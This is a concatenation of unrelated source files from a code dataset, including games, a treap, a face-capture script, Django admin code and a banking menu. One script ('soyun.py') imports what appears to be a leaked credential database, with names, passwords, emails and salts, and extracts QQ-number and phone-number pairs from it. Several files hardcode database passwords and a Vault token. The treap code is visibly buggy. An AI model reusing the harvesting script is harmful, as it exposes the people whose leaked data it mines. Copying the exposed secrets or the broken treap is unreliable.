shiftwidth=4:\n#\n# Copyright (C) 2008,2009,2010,2012,2013,2015 Contributor\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Module for testing the del cpu command.\"\"\"\n\nif __name__ == \"__main__\":\n import utils\n utils.import_depends()\n\nimport unittest\nfrom brokertest import TestBrokerCommand\n\n\nclass TestDelCpu(TestBrokerCommand):\n\n def test_100_del_utcpu(self):\n command = \"del cpu --cpu utcpu --vendor intel\"\n self.statustest(command.split(\" \"))\n\n def test_105_verify_utcpu(self):\n command = \"show cpu --cpu utcpu --vendor intel\"\n self.notfoundtest(command.split(\" \"))\n\n def test_110_del_utcpu_1500(self):\n command = \"del cpu --cpu utcpu_1500 --vendor intel\"\n self.statustest(command.split(\" \"))\n\n def test_115_verify_utcpu_1500(self):\n command = \"show cpu --cpu utcpu_1500\"\n self.notfoundtest(command.split(\" \"))\n\n def test_120_del_unused(self):\n self.statustest([\"del_cpu\", \"--cpu\", \"unused\", \"--vendor\", \"utvendor\"])\n\n def test_200_del_nocpu(self):\n command = [\"del_cpu\", \"--cpu\", \"no-such-cpu\", \"--vendor\", \"utvendor\"]\n out = self.notfoundtest(command)\n self.matchoutput(out,\n \"Model no-such-cpu, vendor utvendor, \"\n \"model_type cpu not found.\",\n command)\n\n def test_200_del_novendor(self):\n command = [\"del_cpu\", \"--cpu\", \"no-such-cpu\",\n \"--vendor\", \"no-such-vendor\"]\n out = self.notfoundtest(command)\n self.matchoutput(out, \"Vendor no-such-vendor not found.\", command)\n\nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(TestDelCpu)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","sub_path":"tests/broker/test_del_cpu.py","file_name":"test_del_cpu.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"183411848","text":"import os, pygame\n\n\nclass Entity:\n # general Entity class to be inherited by different Entities\n def __init__(self, x, y, scale):\n self.x = x\n self.y = y\n self.scale = scale\n self.width = self.scale\n self.height = self.scale\n self.size = (self.width, self.height)\n\n\nclass Player(Entity):\n # controllable Entity with a sprite to move around the maze. A Player is\n # instanced relative to a particular level so that the Player is the\n # the right size for the level\n def __init__(self, x, y, scale, sprite,\n collides=True, controllable = True):\n # sprite should be the name of an image file in the 'images' directory\n super().__init__(x, y, scale)\n\n # ensure we're in the right directory to load the player sprite. The\n # Exception should never be raised\n if os.path.basename(os.getcwd()) != 'images':\n if os.path.basename(os.getcwd()) == 'levels':\n os.chdir('../images')\n elif os.path.basename(os.getcwd()) == 'maze_game':\n os.chdir('images')\n else:\n raise Exception('where are you??')\n \n self.sprite = pygame.image.load(sprite)\n\n # make sure the player sprite is the right size for the level we're on\n self.sprite = pygame.transform.scale(self.sprite, self.size)\n\n # none of this is strictly necessary at the moment but may become so\n # in future\n if collides:\n self.collides = True\n self.rect = self.sprite.get_bounding_rect()\n if controllable:\n self.controllable = True\n","sub_path":"entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"510078198","text":"# Erich Eden\n# SY301\n# Dr. Mayberry\n# treap.py\nimport random\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n self.parent = None\n self.priority = random.random()\n\nclass TreapSet:\n def __init__(self):\n self.root = None\n self.length = 0\n def add(self, k):\n node = Node(k)\n if (self.root == None):\n self.root = node\n self.length = 1\n return\n else:\n self.__insert(node, self.root) #put it in the tree like normal\n self.check(node) #find out if a given node should be rotated\n self.length += 1\n\n def check(self, node):\n while (node.priority > node.parent.priority): #should continue swapping up if need be\n #some rotation magic\n if not node.parent:\n break\n self.rotate(node)\n\n\n def __insert(self, node, currentNode):\n if (node.data < currentNode.data):\n if (currentNode.left == None):\n currentNode.left = node\n node.parent = currentNode\n return\n else:\n self.__insert(node, currentNode.left)\n else:\n if (currentNode.right == None):\n currentNode.right = node\n node.parent = currentNode\n return\n else:\n self.__insert(node, currentNode.right)\n\n def rotate(self, node):\n parent = node.parent\n if parent == None: #node is now the root\n return\n else:\n if parent.parent:\n grandparent = parent.parent\n else:\n grandparent = None\n\n if (node.data < parent.data): #node is to the left of parent\n\n parent.right = None\n parent.left = node.left\n node.right = parent\n if grandparent:\n grandparent.left = node\n node.parent = grandparent\n\n\n self.check(node)\n\n\n else: #node is to the right of parent\n parent.left = None\n parent.right = node.right #likely None, but could be another branch\n node.left = parent\n if grandparent:\n grandparent.right = node\n node.parent = grandparent\n self.check(node)\n\n #parent.right = node.left\n\n def __contains__(self, k):\n if (self.__check(k, self.root) == True):\n return True\n else:\n return False\n\n\n def __check(self, k, currentNode):\n if (currentNode == None):\n return False\n if (currentNode.data == k):\n return True\n if (k > currentNode.data):\n return self.__check(k, currentNode.right)\n else:\n return self.__check(k, currentNode.left)\n\n def __len__(self):\n return self.length\n\n def height(self):\n return self.__height(self.root)\n def __height(self, node):\n if not node:\n return 0\n #we know we are done with a given chain when left and right are both none\n if (node.left == None and node.right == None):\n return 1\n if (node.left == None):\n rHeight = self.__height(node.right)+1\n if (node.right == None):\n lHeight = self.__height(node.left)+1\n if (lHeight > rHeight):\n return lHeight + 1\n else:\n return rHeight + 1\n","sub_path":"Lab8/sometimesWorks.py","file_name":"sometimesWorks.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"346861028","text":"import cv2\r\nfrom second import Identify\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn import svm\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\n\r\nface_cascade = cv2.CascadeClassifier(\"haarcascade.xml\")\r\nvideo = cv2.VideoCapture(0)\r\ncheck = True\r\nwhile check == True:\r\n\tc ,frame = video.read()\r\n\r\n\tfaces = face_cascade.detectMultiScale(frame , scaleFactor = 1.05 , minNeighbors = 5\t)\r\n\r\n\tfor x,y,w,h in faces:\r\n\t\tcv2.rectangle(frame,(x,y),(x+w,y+h),(0,255,0),3)\r\n\t\tfont = cv2.FONT_HERSHEY_PLAIN\r\n\t\tcv2.putText(frame, \"Press C to capture\",(x,y-20),font,1,(255,255,255) )\r\n\t\tcropped = frame[y:y+h , x:x+w]\r\n\r\n\r\n\tkey = cv2.waitKey(1)\r\n\tif key == ord('c'):\r\n\t\tcheck = False\r\n\t\tvideo.release()\r\n\t\tcv2.destroyAllWindows()\r\n\r\n\t\tcropped = cv2.resize(cropped , (50,50))\r\n\t\tans = Identify(cropped)\r\n\tcv2.imshow('capturing',frame )\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"initial.py","file_name":"initial.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"547839920","text":"import re\nimport time\nimport pymssql\nfrom mariadb.mariadb_manager import MariadbManager\n\n\ndef import_data():\n\n mariadb_manager = MariadbManager(\"192.168.1.116\", 3308, \"soyun\", \"root\", \"Springdawn@2016\", charset=\"utf8mb4\")\n mariadb_manager.open_connect()\n\n insert_sql_stmt = \"INSERT INTO soyun_sgk (name, password, email, site, salt, other, id, remark)\"\n insert_sql_stmt = insert_sql_stmt + \"VALUES(%s,%s,%s,%s,%s,%s,%d,%s)\"\n\n file_full_path = r\"F:\\soyun-script.sql\"\n with open(file_full_path, \"r\", encoding='utf16') as file_handle:\n inserted_num = 0\n datarow_list = []\n practical_rows_num = 0\n actual_rows_num = 0\n\n while True:\n try:\n current_row = file_handle.readline()\n practical_rows_num = practical_rows_num + 1\n if not current_row:\n temp_count = batch_insert_data(mariadb_manager.connect, insert_sql_stmt, datarow_list)\n inserted_num = inserted_num + temp_count\n print(\"共计插入数据%d行\" % inserted_num)\n break\n current_row = current_row.strip()\n if len(current_row) < len(\"INSERT\"):\n continue\n if current_row[0:len(\"INSERT\")].upper() == \"INSERT\":\n\n temp_last_str = current_row[len(current_row)-4:]\n if temp_last_str == \"N'qq\":\n next_row = file_handle.readline().strip()\n current_row = current_row + next_row\n\n mysql_values_tuple = build_insert_sql(current_row)\n datarow_list.append(mysql_values_tuple)\n if len(datarow_list) == 10000:\n temp_num = batch_insert_data(mariadb_manager.connect, insert_sql_stmt, datarow_list)\n datarow_list.clear()\n inserted_num = inserted_num + temp_num\n print(\"共计插入数据%d行\" % inserted_num)\n\n except Exception as ex:\n print(ex)\n print(\"已经插入数据%d行\" % inserted_num)\n break\n\n\ndef build_insert_sql(sqlserverscript):\n\n mysql_values_tuple = ()\n fields_right_parenthesis_pos = sqlserverscript.find(\")\")\n\n values_str = sqlserverscript[fields_right_parenthesis_pos+1:len(sqlserverscript)]\n values_str = values_str[values_str.find(\"(\")+1:len(values_str)-1]\n values_list = values_str.split(\",\")\n\n if len(values_list) != 8:\n # 字符串内容存在,号的情况\n regex = re.compile(\"N'.*'\")\n temp_list = []\n is_special = False\n for value_item in values_list:\n temp_item = value_item.strip()\n temp_pos = temp_item.find(\"N'\")\n if temp_pos == 0:\n match_list = regex.findall(temp_item)\n if len(match_list) == 0:\n is_special = True\n temp_list.append(temp_item)\n else:\n temp_list.append(temp_item)\n else:\n if is_special:\n cur_num = len(temp_list) - 1\n temp_list[cur_num] = temp_list[cur_num] + \",\" + temp_item\n temp_match_list = regex.findall(temp_list[cur_num])\n if len(temp_match_list) == 0:\n continue\n else:\n is_special = False\n else:\n temp_list.append(temp_item)\n if len(temp_list) == 8:\n values_list.clear()\n values_list = temp_list\n else:\n print(\"----------非法的行数据:\"+sqlserverscript)\n return\n\n cur_column = 0\n for value_item in values_list:\n temp_item = value_item.strip()\n cur_column = cur_column + 1\n try:\n if cur_column == 7:\n id_value = int(temp_item)\n mysql_values_tuple = mysql_values_tuple + (id_value,)\n continue\n except Exception as ex:\n print(ex)\n\n temp_pos = temp_item.find(\"N'\")\n temp_item_type = temp_item[0:temp_item.find(\"'\")+1]\n if temp_item == \"NULL\":\n mysql_values_tuple = mysql_values_tuple + (None,)\n elif temp_pos >= 0:\n temp_item = temp_item.replace(\"N'\", \"\")\n temp_item = temp_item.replace(\"'\", \"\")\n temp_item = temp_item.strip()\n mysql_values_tuple = mysql_values_tuple + (temp_item,)\n elif type(temp_item).__name__ == \"str\":\n mysql_values_tuple = mysql_values_tuple + (temp_item,)\n else:\n print(\"未知的类型\" + temp_item_type)\n return mysql_values_tuple\n\n\ndef batch_insert_data(mariadb_conn, sql_stmt, values_list):\n\n # return len(values_list)\n begin_time = time.time()\n table_cursor = mariadb_conn.cursor()\n total_count = 0\n try:\n total_count = table_cursor.executemany(sql_stmt, values_list)\n mariadb_conn.commit()\n except Exception as ex:\n print(ex)\n mariadb_conn.rollback()\n table_cursor.close()\n end_time = time.time()\n spend_time = end_time-begin_time\n print(\"本次插入数据%d条\" % total_count+\" 共计花费时间:%s秒\" % format(spend_time, '0.2f'))\n return total_count\n\n\ndef transfer_data():\n\n mariadb_manager = MariadbManager(\"192.168.1.116\", 3308, \"soyun\", \"root\", \"Springdawn@2016\", charset=\"utf8mb4\")\n mariadb_manager.open_connect()\n\n insert_sql_stmt = \"INSERT INTO soyun_sgk (name, password, email, site, salt, other, id, remark)\"\n insert_sql_stmt = insert_sql_stmt + \"VALUES(%s,%s,%s,%s,%s,%s,%s,%s)\"\n\n mssql_conn = pymssql.connect(host=\"127.0.0.1\", user=\"sa\", password=\"Pmo@2016\", database=\"new\")\n mssql_cursor = mssql_conn.cursor()\n cur_row_num = 0\n inserted_num = 0\n block_len = 100000\n while True:\n try:\n query_sql = \"SELECT * FROM [new].[dbo].[sgk] where [id] > \" + str(cur_row_num) + \" and [id] <= \"\n query_sql = query_sql + str(cur_row_num + block_len) + \" order by [id] \"\n mssql_cursor.execute(query_sql)\n result_row = mssql_cursor.fetchone()\n datarow_list = []\n while result_row:\n datarow_list.append(result_row)\n result_row = mssql_cursor.fetchone()\n\n temp_num = batch_insert_data(mariadb_manager.connect, insert_sql_stmt, datarow_list)\n inserted_num = inserted_num + temp_num\n datarow_list.clear()\n print(\"累计插入数据共计:%d行\" % inserted_num)\n cur_row_num = cur_row_num + block_len\n\n except Exception as ex:\n print(ex)\n print(\"程序异常退出,已经插入数据%d行\" % inserted_num)\n break\n\n\ndef extract_valid_qq_from_mysqlsoyun():\n\n soyun_manager = MariadbManager(\"192.168.1.116\", 3308, \"soyun\", \"root\", \"Springdawn@2016\", charset=\"utf8mb4\")\n soyun_manager.open_connect()\n\n insertdb_manager = MariadbManager(\"192.168.1.116\", 3308, \"soyun\", \"root\", \"Springdawn@2016\", charset=\"utf8mb4\")\n insertdb_manager.open_connect()\n\n insert_sql_stmt = \"INSERT INTO temp (qq_no,phone,info_source)\"\n insert_sql_stmt = insert_sql_stmt + \"VALUES(%s,%s,%s)\"\n\n cur_row_num = 0\n inserted_num = 0\n block_len = 100000\n while True:\n try:\n query_sql = \"SELECT name,password FROM soyun_sgk where soyun_id > \" + str(cur_row_num) + \" and soyun_id <= \"\n query_sql = query_sql + str(cur_row_num + block_len) + \" and site = 'qq' and CHAR_LENGTH(`password`)=11\"\n query_sql = query_sql + \" and left(`password`,1)='1' order by soyun_id \"\n # print(query_sql)\n soyun_query_cursor = soyun_manager.connect.cursor()\n soyun_query_cursor.execute(query_sql)\n result_row = soyun_query_cursor.fetchone()\n datarow_list = []\n while result_row:\n\n temp_qq_no = result_row[0]\n temp_phone = result_row[1].strip()\n temp_phone_int = 0\n try:\n temp_phone_int = int(temp_phone)\n except Exception as intex:\n # print(intex)\n result_row = soyun_query_cursor.fetchone()\n continue\n if len(str(temp_phone_int)) == 11:\n item_tuple = (temp_qq_no, temp_phone, \"soyun-qq\")\n datarow_list.append(item_tuple)\n result_row = soyun_query_cursor.fetchone()\n\n soyun_query_cursor.close()\n temp_num = batch_insert_data(insertdb_manager.connect, insert_sql_stmt, datarow_list)\n inserted_num = inserted_num + temp_num\n datarow_list.clear()\n print(\"累计插入数据共计:%d行\" % inserted_num)\n cur_row_num = cur_row_num + block_len\n\n except Exception as ex:\n print(ex)\n print(\"程序异常退出,已经插入数据%d行\" % inserted_num)\n break\n\n\ndef main():\n\n try:\n # transfer_data()\n extract_valid_qq_from_mysqlsoyun()\n except Exception as ex:\n print(ex)\n\n\nif __name__ == '__main__':\n\n start_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())\n print('Beginning ! Begin:' + start_time)\n main()\n end_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())\n print('\\nEnd:' + end_time)\n","sub_path":"import/soyun.py","file_name":"soyun.py","file_ext":"py","file_size_in_byte":9476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"609592189","text":"# time O(n), space O(res)\n\nclass Solution(object):\n def arraysIntersection(self, arr1, arr2, arr3):\n \"\"\"\n :type arr1: List[int]\n :type arr2: List[int]\n :type arr3: List[int]\n :rtype: List[int]\n \"\"\"\n res = []\n i, j, k = 0, 0, 0\n while i < len(arr1) and j < len(arr2) and k < len(arr3):\n if arr1[i] < arr2[j]:\n i += 1\n elif arr1[i] > arr2[j]:\n j += 1\n elif arr2[j] > arr3[k]:\n k += 1\n elif arr2[j] < arr3[k]:\n i += 1\n j += 1\n else:\n res.append(arr1[i])\n i += 1\n j += 1\n k += 1\n return res\n\n\n\"\"\"\nGiven three integer arrays arr1, arr2 and arr3 sorted in strictly increasing order, return a sorted array of only the integers that appeared in all three arrays.\n\n\nExample 1:\n\nInput: arr1 = [1,2,3,4,5], arr2 = [1,2,5,7,9], arr3 = [1,3,4,5,8]\nOutput: [1,5]\nExplanation: Only 1 and 5 appeared in the three arrays.\n \n\nConstraints:\n\n1 <= arr1.length, arr2.length, arr3.length <= 1000\n1 <= arr1[i], arr2[i], arr3[i] <= 2000\n\"\"\"\n","sub_path":"1213. Intersection of Three Sorted Arrays.py","file_name":"1213. Intersection of Three Sorted Arrays.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"503178088","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport cv2\nimport numpy as np\nfrom skimage import segmentation\nimport torch.nn.init\n\nclass MyNet(nn.Module):\n def __init__(self,input_dim):\n super(MyNet, self).__init__()\n self.conv1 = nn.Conv2d(input_dim, 100, kernel_size=3, stride=1, padding=1 )\n self.bn1 = nn.BatchNorm2d(100)\n self.conv2 = []\n self.bn2 = []\n for i in range(2-1):\n self.conv2.append( nn.Conv2d(100, 100, kernel_size=3, stride=1, padding=1 ) )\n self.bn2.append( nn.BatchNorm2d(100) )\n self.conv3 = nn.Conv2d(100, 100, kernel_size=1, stride=1, padding=0 )\n self.bn3 = nn.BatchNorm2d(100)\n\n def forward(self, x):\n x = self.conv1(x)\n x = F.relu( x )\n x = self.bn1(x)\n for i in range(2-1):\n x = self.conv2[i](x)\n x = F.relu( x )\n x = self.bn2[i](x)\n x = self.conv3(x)\n x = self.bn3(x)\n return x\n\n# load image\nim = cv2.imread('a100.jpg')\ndata = torch.from_numpy( np.array([im.transpose( (2, 0, 1) ).astype('float32')/255.]) )\ndata = Variable(data)\n\n# slic components\nlabels = segmentation.slic(im, compactness=100, n_segments=10000)\nlabels = labels.reshape(im.shape[0]*im.shape[1])\nu_labels = np.unique(labels)\nl_inds = []\nfor i in range(len(u_labels)):\n l_inds.append( np.where( labels == u_labels[ i ] )[ 0 ] )\n\n# train\nmodel = MyNet( data.size(1) )\nmodel.train()\nloss_fn = torch.nn.CrossEntropyLoss()\noptimizer = optim.SGD(model.parameters(), lr=0.1, momentum=0.9)\nlabel_colours = np.random.randint(255,size=(100,3))\nfor batch_idx in range(100):\n # forwarding\n optimizer.zero_grad()\n output = model( data )[ 0 ]\n output = output.permute( 1, 2, 0 ).contiguous().view( -1, 100 )\n ignore, target = torch.max( output, 1 )\n im_target = target.data.cpu().numpy()\n nLabels = len(np.unique(im_target))\n if (0): #change this to 1 to visualize image.\n im_target_rgb = np.array([label_colours[ c % 100 ] for c in im_target])\n im_target_rgb = im_target_rgb.reshape( im.shape ).astype( np.uint8 )\n cv2.imshow( \"output\", im_target_rgb )\n cv2.waitKey(10)\n\n # superpixel refinement\n for i in range(len(l_inds)):\n labels_per_sp = im_target[ l_inds[ i ] ]\n u_labels_per_sp = np.unique( labels_per_sp )\n hist = np.zeros( len(u_labels_per_sp) )\n for j in range(len(hist)):\n hist[ j ] = len( np.where( labels_per_sp == u_labels_per_sp[ j ] )[ 0 ] )\n im_target[ l_inds[ i ] ] = u_labels_per_sp[ np.argmax( hist ) ]\n target = torch.from_numpy( im_target )\n target = Variable( target )\n loss = loss_fn(output, target)\n loss.backward()\n optimizer.step()\n\n print (batch_idx, '/', 100, ':', nLabels, loss.data.item())\n if nLabels <= 3:\n print (\"nLabels\", nLabels, \"reached minLabels\", 3, \".\")\n break\n\noutput = model( data )[ 0 ]\noutput = output.permute( 1, 2, 0 ).contiguous().view( -1, 100 )\nignore, target = torch.max( output, 1 )\nim_target = target.data.cpu().numpy()\nim_target_rgb = np.array([label_colours[ c % 100 ] for c in im_target])\nim_target_rgb = im_target_rgb.reshape( im.shape ).astype( np.uint8 )\ncv2.imwrite( \"output.png\", im_target_rgb )","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"296916319","text":"from django.contrib import admin\nfrom .models import Blog, Feedback, Notice, NoticeComment, SectorDeskPost, SectorDeskPostComment, Device, Resource, NoticeComment\nfrom django.utils import timezone\nfrom django.db import models\n\nfrom django.forms import TextInput, Textarea\n\n\nclass BlogAdmin(admin.ModelAdmin):\n\tlist_display=['title', 'member', 'created_at']\n\tlist_filter=['created_at']\n\nclass NoticeAdmin(admin.ModelAdmin):\n\tlist_display=['title', 'member', 'created_at', 'isAttached']\n\tlist_filter=['created_at']\n\n\tdef isAttached(self, obj):\n\t\tif(obj.attachment):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tisAttached.boolean = True\n\tisAttached.short_description=\"Attachment?\"\n\n\nclass ResourceAdmin(admin.ModelAdmin):\n\tlist_display=['title', 'created_at']\n\tlist_filter=['created_at']\n\nclass FeedbackAdmin(admin.ModelAdmin):\n\tlist_display=['member', 'feedback', 'created_at']\n\nclass SDPostAdmin(admin.ModelAdmin):\n\tlist_display=['title', 'created_at', 'member']\n\tlist_filter=['sector_desk', 'created_at']\n\nclass NoticeCommAdmin(admin.ModelAdmin):\n\tlist_display=['member', 'notice', 'comment']\n\nclass SDCommentAdmin(admin.ModelAdmin):\n\tlist_display=['member', 'comment', 'sector_desk_post', 'created_at']\n\n\nadmin.site.register(Blog, BlogAdmin)\nadmin.site.register(Feedback, FeedbackAdmin)\nadmin.site.register(Notice, NoticeAdmin)\nadmin.site.register(NoticeComment, NoticeCommAdmin)\nadmin.site.register(SectorDeskPost, SDPostAdmin)\nadmin.site.register(SectorDeskPostComment, SDCommentAdmin)\nadmin.site.register(Resource, ResourceAdmin)\n","sub_path":"mobile_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"351069430","text":"import neuron\nimport neuralnet\nimport numpy\n\ndef main():\n print(\"Machine Learning Tutorial 2 - Making a Network\")\n\n n = neuralnet.NeuralNet()\n x = numpy.array([2, 3])\n result = n.feedforward(x)\n\n print(result) # 0.7216325609518421\n\nif __name__== \"__main__\":\n main()\n","sub_path":"2-SimpleNetwork/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"190908284","text":"import time\nfrom turtle import Screen\nfrom snake import Snake\nfrom food import Food\nfrom scoreboard import Scoreboard\n\nscreen = Screen()\nscreen.setup(width=600, height=600)\nscreen.bgcolor(\"black\")\n\nscreen.tracer()\n\nsnake = Snake()\nsnake_food = Food()\nscoreboard = Scoreboard()\n\nscreen.listen()\nscreen.onkey(snake.up, \"Up\")\nscreen.onkey(snake.down, \"Down\")\nscreen.onkey(snake.right, \"Right\")\nscreen.onkey(snake.left, \"Left\")\nscreen.title(\"MY SNAKE GAME\")\n\n\n\n\n\ngame_is_on = True\nwhile game_is_on:\n screen.update()\n time.sleep(0.1)\n snake.move()\n #detect collision with food\n if snake.head.distance(snake_food) < 15:\n snake_food.refresh()\n snake.extend()\n scoreboard.increase_score()\n #detect collision with walls\n if snake.head.xcor() > 280 or snake.head.xcor() < -280 or snake.head.ycor() > 280 or snake.head.ycor() < -280:\n scoreboard.reset()\n scoreboard.saved_score()\n snake.reset()\n #detect collision with the head\n for segment in snake.segments:\n if segment == snake.head:\n pass\n elif snake.head.distance(segment) < 10:\n scoreboard.reset()\n scoreboard.saved_score()\n snake.reset()\n\n\n # detect collision with the head - Option 2\n # for segment in snake.segments[1:]:\n # if snake.head.distance(segment) < 10:\n # game_is_on = False\n # scoreboard.game_over()\n\nscreen.exitonclick()\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"441461533","text":"from django.urls import path\nfrom . import views\nfrom django.views.generic import TemplateView\n\napp_name = 'commerce'\n\nurlpatterns = [\n path('', views.index, name='index'),\n\n path('items', views.ItemList.as_view(), name='item_list'),\n path('view/', views.ItemView.as_view(), name='item_view'),\n path('new', views.ItemCreate.as_view(), name='item_new'),\n path('edit/', views.ItemUpdate.as_view(), name='item_edit'),\n path('delete/', views.ItemDelete.as_view(), name='item_delete'),\n\n path('stores', views.StoreList.as_view(), name='store_list'),\n path('view_store/', views.StoreView.as_view(), name='store_view'),\n path('new_store', views.StoreCreate.as_view(), name='store_new'),\n path('edit_store/', views.StoreUpdate.as_view(), name='store_edit'),\n path('delete_store/', views.StoreDelete.as_view(), name='store_delete'),\n]","sub_path":"commerce/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"566470341","text":"# Banking Project\r\n# function to show banking operations\r\ndef options():\r\n print('1 - Display balance')\r\n print('2 - Deposit balance')\r\n print('3 - Withdraw balance')\r\n print('4 - Transfer balance')\r\n print('0 - Quit banking')\r\n\r\n\r\ndef select_accounts(account_from, account_to):\r\n withdraw_from = account_from\r\n deposit_to = account_to\r\n print(withdraw_from)\r\n print(deposit_to)\r\n\r\n # if amount > withdraw_from:\r\n # return print(\"Inufficient balance\")\r\n # else:\r\n # withdraw_from = withdraw_from - amount\r\n # deposit_to = deposit_to + amount\r\n # print(\"New balance for \" + account_from )\r\n\r\n\r\noptions()\r\n\r\npersonA = 1000 # bank balance for person A\r\npersonB = 1000 # bank balance for person B\r\npersonC = 1000 # bank balance for person C\r\n\r\n\r\n# take input from the user in integer form to select banking option\r\nbanking_option = int(input(\"Enter Option: \"))\r\n\r\n\r\nwhile True:\r\n if banking_option == 1:\r\n print('*** Display Balance ***')\r\n print('Person A', personA)\r\n print('Person B', personB)\r\n print('Person c', personC)\r\n options()\r\n banking_option = int(input(\"Enter Option: \"))\r\n\r\n elif banking_option == 2:\r\n print('*** Deposit Balance ***')\r\n print('a - personA') # option to select person A\r\n print('b - personB') # option to select person B\r\n\r\n user = input('Enter option to select person:')\r\n\r\n if user == 'a':\r\n print(\"Deposit Balance in Person A\")\r\n balance = float(input('Enter amount to deposit: '))\r\n personA += balance\r\n print('New balance is :', personA)\r\n\r\n if user == 'b':\r\n print(\"Deposit Balance in Person B\")\r\n balance = float(input('Enter amount to deposit: '))\r\n personB += balance\r\n print('New balance is :', personB)\r\n options()\r\n banking_option = int(input(\"Enter Option: \"))\r\n\r\n elif banking_option == 3:\r\n print('*** Withdraw Balance ***')\r\n print('a - personA') # option to select person A\r\n print('b - personB') # option to select person B\r\n\r\n user = input('Enter option to select person:')\r\n\r\n if user == 'a':\r\n print(\"Withdraw Balance from Person A\")\r\n balance = float(input('Enter amount to withdraw: '))\r\n\r\n if personA < balance:\r\n print(\"There is not enough balance\")\r\n else:\r\n personA = personA - balance\r\n print('New Balance is :' + str(personA))\r\n\r\n if user == 'b':\r\n print(\"Withdraw Balance in Person B\")\r\n balance = float(input('Enter amount to withdraw: '))\r\n\r\n if personB < balance:\r\n print(\"There is not enough balance\")\r\n else:\r\n personB = personB - balance\r\n print('New Balance is :' + str(personB))\r\n\r\n options()\r\n banking_option = int(input(\"Enter Option: \"))\r\n\r\n elif banking_option == 4:\r\n print(\"*** Transfer Balance ***\")\r\n print(\"a -> PersonA\")\r\n print(\"b -> PersonB\")\r\n print(\"c -> PersonC\")\r\n\r\n account_from = input(\"Enter user from: \")\r\n account_to = input(\"Enter user to: \")\r\n amount = float(input(\"Enter amount to be transferred:\"))\r\n\r\n if account_from == 'a':\r\n user_from = 'a'\r\n account_from = personA\r\n if account_from == 'b':\r\n user_from = 'b'\r\n account_from = personB\r\n if account_from == 'c':\r\n user_from = 'c'\r\n account_from = personC\r\n\r\n if account_to == 'a':\r\n user_to = 'a'\r\n account_to = personA\r\n if account_to == 'b':\r\n user_to = 'b'\r\n account_to = personB\r\n if account_to == 'c':\r\n user_to = 'c'\r\n account_to = personC\r\n print(account_from)\r\n print(account_to)\r\n\r\n if amount > account_from:\r\n print(\"Insufficient balance\")\r\n else:\r\n account_from = account_from - amount\r\n account_to = account_to + amount\r\n\r\n if user_from == 'a':\r\n personA = account_from\r\n acc_from = 'PersonA'\r\n if user_from == 'b':\r\n personB = account_from\r\n acc_from = 'PersonB'\r\n if user_from == 'c':\r\n personC = account_from\r\n acc_from = 'PersonC'\r\n\r\n if user_to == 'a':\r\n personA = account_to\r\n acc_to = 'PersonA'\r\n if user_to == 'b':\r\n personB = account_to\r\n acc_to = 'PersonB'\r\n if user_to == 'c':\r\n personC = account_to\r\n acc_to = 'PersonC'\r\n\r\n print(\"Rs.\"+str(amount) + \" transfered from \"+acc_from+\" to \"+acc_to)\r\n print(acc_from+\" available balance :\" + str(account_from))\r\n print(acc_to+\" available balance :\" + str(account_to))\r\n\r\n options()\r\n banking_option = int(input(\"Enter Option: \"))\r\n\r\n else:\r\n print('Thank you for banking with us')\r\n break\r\n","sub_path":"script1.py","file_name":"script1.py","file_ext":"py","file_size_in_byte":5196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"530718957","text":"import hvac\n\nstr_url = \"http://aea32a80c9c164190aec9f2196a4731a-881278748.ap-northeast-2.elb.amazonaws.com:8200\"\nstr_token = \"s.5I69jQtAZxS2WC7jhRjjwiDY\"\nclient = hvac.Client(url=str_url, token=str_token)\n\nstr_mount_point = 'a_service'\nstr_secret_path = 'mongo_auth_01'\nread_secret_result = client.secrets.kv.v1.read_secret(mount_point=str_mount_point, 